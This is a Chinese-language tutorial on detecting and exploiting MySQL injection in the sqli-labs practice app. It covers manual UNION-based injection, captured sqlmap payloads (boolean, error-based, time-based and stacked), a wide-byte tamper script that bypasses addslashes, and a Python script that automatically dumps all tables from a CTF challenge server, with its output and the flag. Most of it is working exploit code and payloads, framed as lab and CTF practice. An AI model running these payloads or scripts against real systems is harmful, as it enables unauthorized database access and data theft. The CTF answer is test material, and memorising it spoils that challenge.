检测注入

1.MYSQL注入检测

以sqli-lab less-1为例

sql查询语句为

```
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

检测思路为，传递的参数id在''号内，构造闭合插入payload,在对之后语句进行注释

对源码进行部分修改方便观察

```
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 -- ' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 # ' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo "Your sql is :". $sql;
    echo "<br>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
```

手注过程

传递参数

？ id=1‘

报错

check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

此时的sql语句为 SELECT * FROM users WHERE id='1'' LIMIT 0,1

构造闭合

?id=1' and 1=1-- -

sql语句为 SELECT * FROM users WHERE id='1' and 1=1-- -' LIMIT 0,1 回显正常

?id=1' and 1=0-- - 回显错误

判定此处可以构造sql语句进行执行

手注流程

1.order by 数量

```
参数  ?id=1’ order by 3-- -

SELECT * FROM users WHERE id='1' order by 3-- -' LIMIT 0,1; 正常
SELECT * FROM users WHERE id='1' order by 4-- -' LIMIT 0,1; 报错
```

2.union select 确定payload的位置

```
参数 ?id=0' union select 1,2,3-- -
union select 前后字段需要一样，构造order by得到的字段数，提交一个错误的参数确保1,2,3能显示，可以进行定位
SELECT * FROM users WHERE id='0' union select 1,2,3-- -' LIMIT 0,1; 显示2,3
2,3 位可以进行注入
```

3.获取database()

参数 ?id=0' union select 1,database(),3-- -

也可以构造

?id=0' union select 1,database(),(select schema_name from information_schema.schemata limit 0,1)-- -

获取当前数据库为security

4.获取表名table

```
参数 ?id=0' union select 1,database(),(select table_name from information_schema.tables where table_schema='security' limit 0,1)-- -
```

limit 3,1 table_name = users

5.获取字段名column

```
参数 ?id=0' union select 1,database(),(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)-- -
```

limit 0,1 id

limit 1,1 username

limit 2,1 password

6.dump数据

?id=0' union select 1,username,password from security.users limit 0,1-- -

得到需要的数据

sqlmap过程分析

```
数字型 less-2
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3807=3807

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)
    Payload: id=1 AND EXTRACTVALUE(9640,CONCAT(0x5c,0x7176767871,(SELECT
(ELT(9640=9640,1))),0x7178767871))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 7846 FROM (SELECT(SLEEP(5)))EWKa)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-2183 UNION ALL SELECT
NULL,CONCAT(0x7176767871,0x7674756d626366696a546178746771526657456553426649786770
54477554b52457970425346747a,0x7178767871),NULL-- tNuK
```

```
字符型 less-1
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8765=8765 AND 'yZGm'='yZGm

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 7488 FROM (SELECT(SLEEP(5)))pozN) AND
'JdMc'='JdMc

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-2782' UNION ALL SELECT
NULL,NULL,CONCAT(0x71766b6a71,0x546f6d536f54625151665a5a4e6669627a4e6368754b4946
425979724f5672625352466450524756,0x717a6b7871)-- VzHi
```

```
sqli-lab中记录下的sqlmap提交内容
ID:1
ID:2766
ID:1),))).")'.    //尝试闭合构造
ID:1'GGysbG<'">ccenwU
ID:1) AND 2115=2876 AND (1540=1540
ID:1) AND 3807=3807 AND (4367=4367
ID:1 AND 7420=5888
ID:1 AND 3807=3807
ID:1 AND 3019=5394     //确定and 能够执行逻辑判断
ID:1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7176767871,(SELECT
(ELT(6745=6745,1))),0x7178767871,0x78))s), 8446744073709551610,
8446744073709551610)))
//ELT(N,str1,str2,str3,...) 如果N =1返回str1，如果N= 2返回str2，等等。返回NULL如果参数
的数量小于1或大于N。ELT()是FIELD()的补集。
```

```
ID:1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7176767871,(SELECT
(ELT(3037=3037,1))),0x7178767871,0x78))s), 8446744073709551610,
8446744073709551610)))
ID:1 AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7176767871,(SELECT
(ELT(9876=9876,1))),0x7178767871,0x78))x))//报错注入 error-based

ID:1 OR EXP(~(SELECT * FROM (SELECT CONCAT(0x7176767871,(SELECT
(ELT(8391=8391,1))),0x7178767871,0x78))x))
//EXP(X) 此函数返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值
ID:1 AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7176767871,(SELECT
(ELT(6375=6375,1))),0x7178767871)) USING utf8)))

ID:1 OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7176767871,(SELECT
(ELT(2850=2850,1))),0x7178767871)) USING utf8)))
ID:1 AND (SELECT 9279 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT
(ELT(9279=9279,1))),0x7178767871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

ID:1 OR (SELECT 7189 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT
(ELT(7189=7189,1))),0x7178767871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
ID:1 AND EXTRACTVALUE(9640,CONCAT(0x5c,0x7176767871,(SELECT
(ELT(9640=9640,1))),0x7178767871))

ID:1;SELECT SLEEP(5)#    //基于时间盲注，

ID:1;SELECT SLEEP(5)

ID:1;(SELECT * FROM (SELECT(SLEEP(5)))BLYU)#

ID:1;(SELECT * FROM (SELECT(SLEEP(5)))NPCB)

ID:1;SELECT BENCHMARK(5000000,MD5(0x5a446359))#
//BENCHMARK(count,expr)   重复countTimes次执行表达式expr，它可以用于计时MySQL处理表达式
有多快。结果值总是0。意欲用于mysql客户，它报告查询的执行时间。
ID:1;SELECT BENCHMARK(5000000,MD5(0x744e6577))

ID:1 AND (SELECT 7846 FROM (SELECT(SLEEP(5)))EWKa)

ID:1 AND (SELECT 7846 FROM (SELECT(SLEEP(0)))EWKa)

ID:1 AND (SELECT 7846 FROM (SELECT(SLEEP(5)))EWKa)


ID:1 ORDER BY 1-- EXFn

ID:1 ORDER BY 4791-- bitT

ID:1 ORDER BY 10-- pzPH

ID:1 ORDER BY 6-- wBMw

ID:1 ORDER BY 4-- ovEe

ID:1 ORDER BY 3-- KBeI
```

```
ID:1 UNION ALL SELECT
NULL,NULL,CONCAT(0x7176767871,0x70447661567479465148515a57695577647a476f71797550
424f464f63476f695658484e7372536a,0x7178767871)-- qELa

ID:1 UNION ALL SELECT
CONCAT(0x7176767871,0x64524c55796655734a6959436e57796f4b4e51474755744e67557a7177
497467556e4346726b594b,0x7178767871),NULL,NULL-- asfk

ID:1 UNION ALL SELECT
NULL,CONCAT(0x7176767871,0x4c6b614e6d48656c6f72434c5a5647666c495a7852744441724d7
1714b7651776c77794758456f76,0x7178767871),NULL-- MsJe

ID:1 UNION ALL SELECT
NULL,NULL,CONCAT(0x7176767871,0x4652536968594e777272,0x7178767871)-- gNYg
ID:1 UNION ALL SELECT
CONCAT(0x7176767871,0x646d5043624753456f63,0x7178767871),NULL,NULL-- zOIx
ID:1 UNION ALL SELECT
NULL,CONCAT(0x7176767871,0x496c7467735861755966,0x7178767871),NULL-- QYsz
ID:-2183 UNION ALL SELECT
NULL,CONCAT(0x7176767871,0x7674756d626366696a54617874677152665745655342664978677
54477554b52457970425346747a,0x7178767871),NULL-- tNuK
ID:-9470 UNION ALL SELECT NULL,CONCAT(0x7176767871,(CASE WHEN (6888=







                   6888) THEN 1 ELSE 0 END),0x7178767871),NULL-- BhOA
```

--current-db参数

```
ID:-5951 UNION ALL SELECT NULL,CONCAT(0x7176767871,IFNULL(CAST(DATABASE() AS
CHAR),0x20),0x7178767871),NULL-- xADp
```

--is-dba参数

```
ID:-3047' UNION ALL SELECT
NULL,NULL,CONCAT(0x71766b6a71,IFNULL(CAST(CURRENT_USER() AS
CHAR),0x20),0x717a6b7871)-- xxjo
ID:-9413' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b6a71,(CASE WHEN ((SELECT
super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59) THEN 1 ELSE 0
END),0x717a6b7871)-- hdDY
```

sqlmap -dbs参数

```
less -2
ID:1
concat(0x6675636b,IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20),0x6675636b)
```

```
ID:-2819 UNION ALL SELECT
NULL,CONCAT(0x7176767871,IFNULL(CAST(COUNT(schema_name) AS
CHAR),0x20),0x7178767871),NULL FROM INFORMATION_SCHEMA.SCHEMATA-- sXfm
//将查询数据插入指定字符串进行连接，方便程序进行数据的获取
ID:-1259 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(schema_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),NULL-- yQsz

ID:-6007 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(schema_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),NULL-- WRjk

ID:-5555 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(schema_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1),NULL-- uEEV

ID:-1862 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(schema_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1),NULL-- ankk

ID:-9538 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(schema_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.SCHEMATA LIMIT 4,1),NULL-- RisC

ID:-7053 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(schema_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.SCHEMATA LIMIT 5,1),NULL-- CFAQ
```

sqlmap -tables参数

```
ID:1

ID:-2268 UNION ALL SELECT NULL,CONCAT(0x7176767871,IFNULL(CAST(COUNT(table_name)
AS CHAR),0x20),0x7178767871),NULL FROM INFORMATION_SCHEMA.TABLES WHERE
table_schema IN (0x7365637572697479)-- sbxI

ID:-5260 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(table_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479) LIMIT
0,1),NULL-- VuId

ID:-4023 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(table_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479) LIMIT
1,1),NULL-- PuYq

ID:-2144 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(table_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479) LIMIT
2,1),NULL-- liSc

ID:-4259 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(table_name AS CHAR),0x20),0x7178767871) FROM
INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479) LIMIT
3,1),NULL-- DfnY
```

sqlmap -columns参数

```
ID:1

ID:-4921 UNION ALL SELECT NULL,CONCAT(0x7176767871,IFNULL(CAST(COUNT(*) AS
CHAR),0x20),0x7178767871),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE
table_name=0x7573657273 AND table_schema=0x7365637572697479-- DVOq
//使用ipython s2h
//In [11]: db='users'

//In [12]: db.encode('hex')
//Out[12]: '7573657273'
//In [15]: print '7365637572697479'.decode('hex')
//  security
ID:-7286 UNION ALL SELECT NULL,(SELECT
CONCAT(0x7176767871,IFNULL(CAST(column_name AS
CHAR),0x20),0x6c717668656f,IFNULL(CAST(column_type AS CHAR),0x20),0x7178767871)
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND
table_schema=0x7365637572697479 LIMIT 0,1),NULL-- Gezs
```

sql --dump参数

```
ID:1

ID:-2124' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b6a71,IFNULL(CAST(COUNT(*) AS
CHAR),0x20),0x717a6b7871) FROM security.users-- fJrV

ID:-9410' UNION ALL SELECT NULL,NULL,(SELECT
CONCAT(0x71766b6a71,IFNULL(CAST(password AS
CHAR),0x20),0x72667069616a,IFNULL(CAST(username AS CHAR),0x20),0x717a6b7871)
FROM security.users LIMIT 0,1)-- IDbb
```

sqlmap进行查询的sql语句为

随机数 UNION ALL SELECT NULL,NULL,.........,NULL,(SELECT CONCAT(hex形式随机字符串,IFNULL(CAST(要查询的变量 AS CHAR)，0x20),hex形式的随机字符串) FROM 要查询的地方 [LIMIT n,n])-- 随机四位字符串结尾

参数：--technique

这个参数可以指定sqlmap使用的探测技术，默认情况下会测试所有的方式。

支持的探测方式如下：

B: Boolean-based blind SQL injection（布尔型注入）
E: Error-based SQL injection（报错型注入）
U: UNION query SQL injection（可联合查询注入）
S: Stacked queries SQL injection（可多语句查询注入）
T: Time-based blind SQL injection（基于时间延迟注入）

参数：--time-sec

当使用继续时间的盲注时，时刻使用--time-sec参数设定延时时间，默认是5秒。
设定UNION查询字段数

使用 --technique T的注入

```
sqli-lab less-10
python2 sqlmap.py -u "http://127.0.0.1:8080/sqli-labs/Less-10/?id=1" --technique
T --level 5 --risk 3 --dbs

ID:1" AND (SELECT 5279 FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT
IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM
INFORMATION_SCHEMA.SCHEMATA),1,1))>51,0,5)))))XGfk)-- RMFj
```

--technique E 注入(sqli-lab less-11 Error-Based- single quotes)

```
post注入方式：1.burp保存post文件形式 -r 参数注入 2.--forms自动判断表单 3.--method POST
--data "id=1"         --tenichque E 报错注入
python2 sqlmap.py -u "http://127.0.0.1:8080/sqli-labs/Less-11/" --forms --
technique E --dbs

Parameter: uname (POST)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)
    Payload: uname=IxbP") AND EXTRACTVALUE(1479,CONCAT(0x5c,0x71706b7171,(SELECT
(ELT(1479=1479,1))),0x7170716271)) AND ("aYLJ"="aYLJ&passwd=&submit=Submit

    尝试的payload
    User Name:IxbP))) OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x71706b7171,
(SELECT (ELT(8144=8144,1))),0x7170716271)) USING utf8))) AND (((9250=9250
    User Name:IxbP') AND (SELECT 2*(IF((SELECT * FROM (SELECT
CONCAT(0x71706b7171,(SELECT (ELT(9493=9493,1))),0x7170716271,0x78))s),
8446744073709551610, 8446744073709551610)))-- me
    User Name:IxbP"))) AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71706b7171,
(SELECT (ELT(8117=8117,1))),0x7170716271,0x78))x)) AND ((("tWlC"="tWlC
    User Name:IxbP"))) OR (SELECT 2676 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,
(SELECT (ELT(2676=2676,1))),0x7170716271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ((("rruQ" LIKE "rruQ
    User Name:IxbP) AS vLIl WHERE 2698=2698 OR (SELECT 2676 FROM(SELECT
COUNT(*),CONCAT(0x71706b7171,(SELECT
(ELT(2676=2676,1))),0x7170716271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- wtwe
    User Name:IxbP" OR (SELECT 2676 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,
(SELECT (ELT(2676=2676,1))),0x7170716271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "hYCu"="hYCu

    获取数据的payload
    User Name:IxbP") AND EXTRACTVALUE(3540,CONCAT(0x5c,0x71706b7171,(SELECT
MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,21) FROM
INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7170716271)) AND ("RRMe"="RRMe
```

--technique S 堆叠注入（less-38)

```
python2 sqlmap.py -u "http://127.0.0.1:8080/sqli-labs/Less-38/?id=1" --technique
S --dbs --tamper=space2comment

ID:1';SELECT SLEEP(5)-- GhqL
ID:1';(SELECT * FROM (SELECT(SLEEP(5)))kkrt) AND 'kdfW' LIKE 'kdfW
ID:1';SELECT/**/SLEEP(5)#
ID:1';SELECT/**/SLEEP(5)/**/OR/**/'zSCX'='okgY
```

--cookie "COOKIE_VALUE" #cookie注入

--dbms "Mysql" # dbms 指定数据库类型

SQL注入FUZZ测试

> Fuzzdb: https://github.com/fuzzdb-pro...

下载文件，使用burp的Intruder载入字典，设置好payload的位置，可以进行fuzz测试

根据Intruder attack中返回request中的长度，对过滤的关键字进行判断，便于手注，或者编写tamper

也可以编写python脚本，载入字典文件，进行批量检测

SQLMAP 绕过脚本tamper

使用 --tamper参数对payload进行修改来绕过waf等设备

参数 --tamper="tamper_name"

tamper脚本的格式

```
from lib.core.euums import PRIORITY

__priority__ = PRIORITY.LOWEST //定义脚本的优先级，适用于多个脚本同时使用时

def dependencies():             //声明脚本适合使用和不适合使用的范围
    pass

def tamper(payload, **kwargs):
    return payload.replace("'","\\'"),repalce('"','\\"')
```

tamper编写绕过addslashes()

测试sqli-lab Less-33 Bypass Addslashes()

之前跑sqlmap无回显数据

使用tamper

```
python2 sqlmap.py -u "http://127.0.0.1:8080/sqli-labs/Less-33/?id=1" --
tamper="addslashes" --dbs
得到回显数据
```

```
'''
filename /tamper/addslashes.py
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Replaces (MySQL) instances of space character ("'") with '%df%27'

    Tested against:
        * MySQL function addslash()

    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i] == "'":
                    firstspace = True
                    retVal += "%df"

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote



            retVal += payload[i]

    return retVal
```

编写注入脚本尝试

利用这次对于sqlmap中payload分析的学习对 ctf平台 newbugku 中的题目web18尝试写了一个脚本

运用了sqlmap中对于数据的定位，还有tamper的原理

此题目经过fuzz测试，php文件对于and,or,union,select有删除一次的简单waf功能，复写关键字绕过

```
import urllib.request
import re

#tamper处理payload
def deal(payload):
    return
payload.replace('or','oorr').replace('and','aandnd').replace('union','uunionnion
').replace('select','seselectlect')
#提交get请求获取数据
def send_data(url):
    url = deal(url)
    res = urllib.request.urlopen(url)
    content = res.read().decode()
    #print(content)
    return content
#判断order by的执行情况
def define_true(content):
    matchObj = re.search(u'php是世界上最好的语言',content)
    if matchObj:
        return True
    else:
        return False
#对request进行分析和数据提取
def get_data(content):
    pattern = re.compile('fuck\S+fuck')
    #print(pattern.findall(content))
    result = pattern.findall(content)
    if result:
        result = result[0]
    #print(result)
    if result:
        result = result.split('fuck')[1]
    return result



url = 'http://123.206.31.85:10018/list.php?id=1'
note = '-- -'
payload_order = "' order by "
payload_union = "99999999' union select "
#double fuck连接数据便于定位
payload_database = 'concat(0x6675636b,database(),0x6675636b)'
payload_table = 'concat(0x6675636b,group_concat(table_name),0x6675636b) from
information_schema.tables where table_schema = '
payload_column = 'concat(0x6675636b,group_concat(column_name),0x6675636b) from
information_schema.columns where table_name ='


#get column_num
i = 1
while(True):
    payload = url + payload_order + str(i) + note
    #print(payload)
    content = send_data(payload)
    if not define_true(content):
        break
    i += 1
column_num = i - 1
print("column_num is : " + str(column_num))


payload_base = url + payload_union
for i in (1,column_num-1):
    payload_base = payload_base + str(i) + ','


#get database_name
payload = payload_base + payload_database + note
database_name = get_data(send_data(payload))
print("database_name is : "+database_name)

#get table_name
payload = payload_base + payload_table + "'" + database_name + "'" + note
#print(payload)
table_names = get_data(send_data(payload))
print("This database has table : " +table_names)

for table in table_names.split(','):
    payload = payload_base + payload_column + "'" + table + "'" + note
    column_names = get_data(send_data(payload))
    print("The table '" + table + "'' has columns : " + column_names)
    for column in column_names.split(","):
        #print(payload_base)
        payload_dump = payload_base + 'concat(0x6675636b,group_concat(' + column
+ '),0x6675636b)' + " from " + database_name + '.' + table + note
        #print(payload_dump)
        value = get_data(send_data(payload_dump))
        print("In the column '" + column + "', the data is :")
        print(value)
```

运行结果

```
G:\ctf\new_bugku\web\web18
λ python3 solute.py
column_num is : 3
database_name is : web18
This database has table : ctf,flag
The table 'ctf'' has columns : id,title,content
In the column 'id', the data is :
1,2
In the column 'title', the data is :
php,python
In the column 'content', the data is :
php是世界上最好的语言,Python是一种计算机程序设计语言。是一种动态的、面向对象的脚本语言。
The table 'flag'' has columns : id,flag
In the column 'id', the data is :
1
In the column 'flag', the data is :
flag{22b7a7c3d73d88050722b3eeb102ee45}
```